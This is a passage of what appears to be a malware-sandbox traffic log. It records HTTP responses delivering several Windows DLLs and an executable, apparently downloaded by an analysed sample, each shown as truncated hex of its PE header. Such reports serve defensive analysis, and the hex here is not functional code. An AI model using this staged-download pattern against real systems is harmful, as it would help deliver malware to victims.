00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 00:41:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 00:41:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 00:41:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 00:41:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 00:41:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 00:41:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 00:41:54 GMTContent-Type: application/octet-streamContent-Length: 1943040Last-Modified: Tue, 26 Nov 2024 00:23:03 GMTConnection: keep-aliveETag: "674514e7-1da600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 80 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4c 00 00 04 00 00 f6 c7 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 68 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 67 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 